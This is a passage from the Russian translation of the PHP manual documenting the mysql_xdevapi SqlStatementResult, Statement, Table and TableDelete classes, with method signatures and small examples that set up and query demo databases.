true, если в наборе результатов есть больше объектов для выборки.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatement::hasMoreResults()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс SqlStatementResult

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\SqlStatementResult implements mysql_xdevapi\BaseResult, Traversable {
/* Методы */
public fetchAll(): array
public fetchOne(): array
public getAffectedItemsCount(): int
public getColumnsCount(): int
public getColumnNames(): array
public getColumns(): Array
public getGeneratedIds(): array
public getLastInsertId(): String
public getWarnings(): array
public getWarningCounts(): int
public hasData(): bool
public nextResult(): mysql_xdevapi\Result
}

Содержание

  • SqlStatementResult::__construct — Описание конструктора
  • SqlStatementResult::fetchAll — Получает все строки из результата
  • SqlStatementResult::fetchOne — Получает одну строку
  • SqlStatementResult::getAffectedItemsCount — Получает затронутое количество строк
  • SqlStatementResult::getColumnsCount — Получает количество столбцов
  • SqlStatementResult::getColumnNames — Получает имена столбцов
  • SqlStatementResult::getColumns — Получает столбцы
  • SqlStatementResult::getGeneratedIds — Получает сгенерированные идентификаторы
  • SqlStatementResult::getLastInsertId — Получает последний идентификатор вставки
  • SqlStatementResult::getWarnings — Получает предупреждения от последней операции
  • SqlStatementResult::getWarningsCount — Получает количество предупреждений от последней операции
  • SqlStatementResult::hasData — Проверяет, есть ли у результата данные
  • SqlStatementResult::nextResult — Получает следующий результат

User Contributed Notes

There are no user contributed notes for this page.


Описание конструктора

  • « mysql_xdevapi\SqlStatementResult
  • SqlStatementResult::fetchAll »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Описание конструктора

SqlStatementResult::__construct

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::__construct — Описание конструктора

Описание

private mysql_xdevapi\SqlStatementResult::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::__construct()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает все строки из результата

  • « SqlStatementResult::__construct
  • SqlStatementResult::fetchOne »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает все строки из результата

SqlStatementResult::fetchAll

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::fetchAll — Получает все строки из результата

Описание

public mysql_xdevapi\SqlStatementResult::fetchAll(): array

Извлекает все строки из набора результатов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовой массив со всеми результатами запроса; каждый результат представляет собой ассоциативный массив. Возвращается пустой массив, если строк нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::fetchAll()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS dbtest")->execute();
$session->sql("CREATE DATABASE dbtest")->execute();
$session->sql("CREATE TABLE dbtest.workers(name text, age int, job text)")->execute();
$session->sql("INSERT INTO dbtest.workers values ('John', 42, 'bricklayer'), ('Sam', 33, 'carpenter')")->execute();

$schema = $session->getSchema("dbtest");
$table = $schema->getTable("workers");

$rows = $session->sql("SELECT * FROM dbtest.workers")->execute()->fetchAll();

print_r($rows);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает одну строку

  • « SqlStatementResult::fetchAll
  • SqlStatementResult::getAffectedItemsCount »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает одну строку

SqlStatementResult::fetchOne

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::fetchOne — Получает одну строку

Описание

public mysql_xdevapi\SqlStatementResult::fetchOne(): array

Получает одну строку из набора результатов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Результат, как ассоциативный массив. В случае отсутствия результата возвращается ноль.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::fetchOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS dbtest")->execute();
$session->sql("CREATE DATABASE dbtest")->execute();
$session->sql("CREATE TABLE dbtest.workers(name text, age int, job text)")->execute();
$session->sql("INSERT INTO dbtest.workers values ('John', 42, 'bricklayer'), ('Sam', 33, 'carpenter')")->execute();

$schema = $session->getSchema("dbtest");
$table = $schema->getTable("workers");

$rows = $session->sql("SELECT * FROM dbtest.workers")->execute()->fetchOne();

print_r($rows);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name] => John
    [age] => 42
    [job] => bricklayer
)

User Contributed Notes

There are no user contributed notes for this page.


Получает затронутое количество строк

  • « SqlStatementResult::fetchOne
  • SqlStatementResult::getColumnsCount »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает затронутое количество строк

SqlStatementResult::getAffectedItemsCount

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getAffectedItemsCount — Получает затронутое количество строк

Описание

public mysql_xdevapi\SqlStatementResult::getAffectedItemsCount(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getAffectedItemsCount()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает количество столбцов

  • « SqlStatementResult::getAffectedItemsCount
  • SqlStatementResult::getColumnNames »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает количество столбцов

SqlStatementResult::getColumnsCount

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getColumnsCount — Получает количество столбцов

Описание

public mysql_xdevapi\SqlStatementResult::getColumnsCount(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество столбцов; 0 если их нет

Список изменений

Версия | Описание
8.0.14 | Метод переименован из getColumnCount() в getColumnsCount().

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getColumnsCount()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает имена столбцов

  • « SqlStatementResult::getColumnsCount
  • SqlStatementResult::getColumns »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает имена столбцов

SqlStatementResult::getColumnNames

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getColumnNames — Получает имена столбцов

Описание

public mysql_xdevapi\SqlStatementResult::getColumnNames(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getColumnNames()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает столбцы

  • « SqlStatementResult::getColumnNames
  • SqlStatementResult::getGeneratedIds »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает столбцы

SqlStatementResult::getColumns

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getColumns — Получает столбцы

Описание

public mysql_xdevapi\SqlStatementResult::getColumns(): Array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getColumns()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает сгенерированные идентификаторы

  • « SqlStatementResult::getColumns
  • SqlStatementResult::getLastInsertId »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает сгенерированные идентификаторы

SqlStatementResult::getGeneratedIds

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getGeneratedIds — Получает сгенерированные идентификаторы

Описание

public mysql_xdevapi\SqlStatementResult::getGeneratedIds(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив сгенерированных _id из последней операции или пустой массив, если таковых нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getGeneratedIds()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает последний идентификатор вставки

  • « SqlStatementResult::getGeneratedIds
  • SqlStatementResult::getWarnings »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает последний идентификатор вставки

SqlStatementResult::getLastInsertId

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getLastInsertId — Получает последний идентификатор вставки

Описание

public mysql_xdevapi\SqlStatementResult::getLastInsertId(): String

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Идентификатор последней операции вставки.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getLastInsertId()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает предупреждения от последней операции

  • « SqlStatementResult::getLastInsertId
  • SqlStatementResult::getWarningsCount »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает предупреждения от последней операции

SqlStatementResult::getWarnings

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getWarnings — Получает предупреждения от последней операции

Описание

public mysql_xdevapi\SqlStatementResult::getWarnings(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов Warning из последней операции. Каждый объект определяет 'message' об ошибке, 'level' ошибки и 'code' ошибки. Пустой массив возвращается, если ошибок нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getWarnings()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает количество предупреждений от последней операции

  • « SqlStatementResult::getWarnings
  • SqlStatementResult::hasData »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает количество предупреждений от последней операции

SqlStatementResult::getWarningsCount

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::getWarningsCount — Получает количество предупреждений от последней операции

Описание

public mysql_xdevapi\SqlStatementResult::getWarningCounts(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество предупреждений, выданных во время последней операции CRUD.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::getWarningsCount()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли у результата данные

  • « SqlStatementResult::getWarningsCount
  • SqlStatementResult::nextResult »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Проверяет, есть ли у результата данные

SqlStatementResult::hasData

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::hasData — Проверяет, есть ли у результата данные

Описание

public mysql_xdevapi\SqlStatementResult::hasData(): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если в наборе результатов есть данные.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::hasData()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает следующий результат

  • « SqlStatementResult::hasData
  • mysql_xdevapi\Statement »
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Получает следующий результат

SqlStatementResult::nextResult

(Информация о версии неизвестна, возможно, только в Git)

SqlStatementResult::nextResult — Получает следующий результат

Описание

public mysql_xdevapi\SqlStatementResult::nextResult(): mysql_xdevapi\Result

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Следующий объект Result из набора результатов.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatementResult::nextResult()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс Statement

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Statement {
/* Константы */
const int EXECUTE_ASYNC = 1;
const int BUFFERED = 2;
/* Методы */
public getNextResult(): mysql_xdevapi\Result
public getResult(): mysql_xdevapi\Result
public hasMoreResults(): bool
}

Предопределённые константы

mysql_xdevapi\Statement::EXECUTE_ASYNC

mysql_xdevapi\Statement::BUFFERED

Содержание

  • Statement::__construct — Описание конструктора
  • Statement::getNextResult — Получает следующий результат
  • Statement::getResult — Получает результат
  • Statement::hasMoreResults — Проверяет, есть ли ещё результаты

User Contributed Notes

There are no user contributed notes for this page.


Описание конструктора

  • « mysql_xdevapi\Statement
  • Statement::getNextResult »
  • PHP Manual
  • mysql_xdevapi\Statement
  • Описание конструктора

Statement::__construct

(Информация о версии неизвестна, возможно, только в Git)

Statement::__construct — Описание конструктора

Описание

private mysql_xdevapi\Statement::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 mysql_xdevapi\Statement::__construct() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает следующий результат

  • « Statement::__construct
  • Statement::getResult »
  • PHP Manual
  • mysql_xdevapi\Statement
  • Получает следующий результат

Statement::getNextResult

(Информация о версии неизвестна, возможно, только в Git)

Statement::getNextResult — Получает следующий результат

Описание

public mysql_xdevapi\Statement::getNextResult(): mysql_xdevapi\Result

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\Statement::getNextResult()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает результат

  • « Statement::getNextResult
  • Statement::hasMoreResults »
  • PHP Manual
  • mysql_xdevapi\Statement
  • Получает результат

Statement::getResult

(Информация о версии неизвестна, возможно, только в Git)

Statement::getResult — Получает результат

Описание

public mysql_xdevapi\Statement::getResult(): mysql_xdevapi\Result

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\Statement::getResult()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли ещё результаты

  • « Statement::getResult
  • mysql_xdevapi\Table »
  • PHP Manual
  • mysql_xdevapi\Statement
  • Проверяет, есть ли ещё результаты

Statement::hasMoreResults

(Информация о версии неизвестна, возможно, только в Git)

Statement::hasMoreResults — Проверяет, есть ли ещё результаты

Описание

public mysql_xdevapi\Statement::hasMoreResults(): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\Statement::hasMoreResults()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс Table

(PECL mysql-xdevapi >= 8.0.11)

Введение

Предоставляет доступ к таблице через операторы INSERT/SELECT/UPDATE/DELETE.

Обзор классов

class mysql_xdevapi\Table implements mysql_xdevapi\SchemaObject {
/* Свойства */
public $name;
/* Методы */
public count(): int
public delete(): mysql_xdevapi\TableDelete
public existsInDatabase(): bool
public getName(): string
public getSchema(): mysql_xdevapi\Schema
public getSession(): mysql_xdevapi\Session
public insert(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableInsert
public isView(): bool
public select(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableSelect
public update(): mysql_xdevapi\TableUpdate
}

Свойства

name

Содержание

  • Table::__construct — Конструктор Table
  • Table::count — Получить количество строк
  • Table::delete — Удалить строки из таблицы
  • Table::existsInDatabase — Проверить, существует ли таблица в базе данных
  • Table::getName — Получить имя таблицы
  • Table::getSchema — Получить схему таблицы
  • Table::getSession — Получить таблицу сессий
  • Table::insert — Вставить строки таблицы
  • Table::isView — Проверить, является ли таблица представлением
  • Table::select — Выбрать строки из таблицы
  • Table::update — Обновить строки в таблице

User Contributed Notes

There are no user contributed notes for this page.


Конструктор Table

  • « mysql_xdevapi\Table
  • Table::count »
  • PHP Manual
  • mysql_xdevapi\Table
  • Конструктор Table

Table::__construct

(Информация о версии неизвестна, возможно, только в Git)

Table::__construct — Конструктор Table

Описание

private mysql_xdevapi\Table::__construct()

Создать объекты таблицы.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");
?>

User Contributed Notes

There are no user contributed notes for this page.


Получить количество строк

  • « Table::__construct
  • Table::delete »
  • PHP Manual
  • mysql_xdevapi\Table
  • Получить количество строк

Table::count

(Информация о версии неизвестна, возможно, только в Git)

Table::count — Получить количество строк

Описание

public mysql_xdevapi\Table::count(): int

Получить количество строк в таблице.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Общее количество строк в таблице.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::count()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->count());
?>

Результат выполнения данного примера:

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Удалить строки из таблицы

  • « Table::count
  • Table::existsInDatabase »
  • PHP Manual
  • mysql_xdevapi\Table
  • Удалить строки из таблицы

Table::delete

(Информация о версии неизвестна, возможно, только в Git)

Table::delete — Удалить строки из таблицы

Описание

public mysql_xdevapi\Table::delete(): mysql_xdevapi\TableDelete

Удаляет строки из таблицы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект TableDelete; используйте метод execute() для выполнения запроса delete

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::delete()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()->where("name = :name")->orderby("age DESC")->limit(1)->bind(['name' => 'John'])->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Проверить, существует ли таблица в базе данных

  • « Table::delete
  • Table::getName »
  • PHP Manual
  • mysql_xdevapi\Table
  • Проверить, существует ли таблица в базе данных

Table::existsInDatabase

(Информация о версии неизвестна, возможно, только в Git)

Table::existsInDatabase — Проверить, существует ли таблица в базе данных

Описание

public mysql_xdevapi\Table::existsInDatabase(): bool

Проверяет, существует ли данная таблица в базе данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если таблица существует в базе данных, иначе false, если таблицы нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::existsInDatabase()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

if ($table->existsInDatabase()) {
echo "Да, эта таблица всё ещё существует в схеме сессии.";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Да, эта таблица всё ещё существует в схеме сессии.

User Contributed Notes

There are no user contributed notes for this page.


Получить имя таблицы

  • « Table::existsInDatabase
  • Table::getSchema »
  • PHP Manual
  • mysql_xdevapi\Table
  • Получить имя таблицы

Table::getName

(Информация о версии неизвестна, возможно, только в Git)

Table::getName — Получить имя таблицы

Описание

public mysql_xdevapi\Table::getName(): string

Возвращает имя объекта базы данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя объекта базы данных.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::getName()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->getName());
?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "names"

User Contributed Notes

There are no user contributed notes for this page.


Получить схему таблицы

  • « Table::getName
  • Table::getSession »
  • PHP Manual
  • mysql_xdevapi\Table
  • Получить схему таблицы

Table::getSchema

(Информация о версии неизвестна, возможно, только в Git)

Table::getSchema — Получить схему таблицы

Описание

public mysql_xdevapi\Table::getSchema(): mysql_xdevapi\Schema

Извлечь схему, связанную с таблицей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Schema.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::getSchema()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->getSchema());
?>

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\Schema)#9 (1) {
  ["name"]=>
  string(11) "addressbook"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить таблицу сессий

  • « Table::getSchema
  • Table::insert »
  • PHP Manual
  • mysql_xdevapi\Table
  • Получить таблицу сессий

Table::getSession

(Информация о версии неизвестна, возможно, только в Git)

Table::getSession — Получить таблицу сессий

Описание

public mysql_xdevapi\Table::getSession(): mysql_xdevapi\Session

Получить сессию, связанную с таблицей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Session.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::getSession()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->getSession());
?>

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\Session)#9 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Вставить строки таблицы

  • « Table::getSession
  • Table::isView »
  • PHP Manual
  • mysql_xdevapi\Table
  • Вставить строки таблицы

Table::insert

(Информация о версии неизвестна, возможно, только в Git)

Table::insert — Вставить строки таблицы

Описание

public mysql_xdevapi\Table::insert(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableInsert

Вставляет строки в таблицу.

Список параметров

columns

Столбцы для вставки данных. Может быть массивом с одним или несколькими значениями, либо строкой.

more_columns

Определения дополнительных столбцов.

Возвращаемые значения

Объект TableInsert; используйте метод execute() для выполнения выражения insert.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::insert()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table ->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли таблица представлением

  • « Table::insert
  • Table::select »
  • PHP Manual
  • mysql_xdevapi\Table
  • Проверить, является ли таблица представлением

Table::isView

(Информация о версии неизвестна, возможно, только в Git)

Table::isView — Проверить, является ли таблица представлением

Описание

public mysql_xdevapi\Table::isView(): bool

Определите, является ли базовый объект представлением или нет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если базовый объект является представлением, в противном случае false.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::isView()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

if ($table->isView()) {
echo "Это представление.";
} else {
echo "Это не представление.";
}
?>

Результат выполнения данного примера:

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Выбрать строки из таблицы

  • « Table::isView
  • Table::update »
  • PHP Manual
  • mysql_xdevapi\Table
  • Выбрать строки из таблицы

Table::select

(Информация о версии неизвестна, возможно, только в Git)

Table::select — Выбрать строки из таблицы

Описание

public mysql_xdevapi\Table::select(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableSelect

Извлекает данные из таблицы.

Список параметров

columns

Столбцы для выбора данных. Может быть массивом с одним или несколькими значениями или строкой.

more_columns

Дополнительные определения параметров столбцов.

Возвращаемые значения

Объект TableSelect; используйте метод execute() для выполнения select и возврата объекта RowResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::count()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Обновить строки в таблице

  • « Table::select
  • mysql_xdevapi\TableDelete »
  • PHP Manual
  • mysql_xdevapi\Table
  • Обновить строки в таблице

Table::update

(Информация о версии неизвестна, возможно, только в Git)

Table::update — Обновить строки в таблице

Описание

public mysql_xdevapi\Table::update(): mysql_xdevapi\TableUpdate

Обновляет столбцы в таблице.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект TableUpdate; используйте метод execute() для выполнения выражения update.

Примеры

Пример #1 Пример использования mysql_xdevapi\Table::update()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->update()->set('age',34)->where('name = "Sam"')->limit(1)->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс TableDelete

(PECL mysql-xdevapi >= 8.0.11)

Введение

Оператор для операций удаления в таблице.

Обзор классов

class mysql_xdevapi\TableDelete implements mysql_xdevapi\Executable {
/* Методы */
public bind(array $placeholder_values): mysql_xdevapi\TableDelete
public execute(): mysql_xdevapi\Result
public limit(int $rows): mysql_xdevapi\TableDelete
public orderby(string $orderby_expr): mysql_xdevapi\TableDelete
public where(string $where_expr): mysql_xdevapi\TableDelete
}

Содержание

  • TableDelete::bind — Связывает параметры запроса удаления
  • TableDelete::__construct — Конструктор класса TableDelete
  • TableDelete::execute — Выполняет запрос на удаление
  • TableDelete::limit — Ограничивает строки для удаления
  • TableDelete::orderby — Устанавливает критерии сортировки удаления
  • TableDelete::where — Устанавливает условие поиска для удаления

User Contributed Notes

There are no user contributed notes for this page.


Связывает параметры запроса удаления

  • « mysql_xdevapi\TableDelete
  • TableDelete::__construct »
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Связывает параметры запроса удаления

TableDelete::bind

(Информация о версии неизвестна, возможно, только в Git)

TableDelete::bind — Связывает параметры запроса удаления

Описание

public mysql_xdevapi\TableDelete::bind(array $placeholder_values): mysql_xdevapi\TableDelete

Привязывает значение к определённому заполнителю.

Список параметров

placeholder_values

Имя заполнителя и значение для привязки.

Возвращаемые значения

Объект TableDelete.

Примеры

Пример #1 Пример использования mysql_xdevapi\TableDelete::bind()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
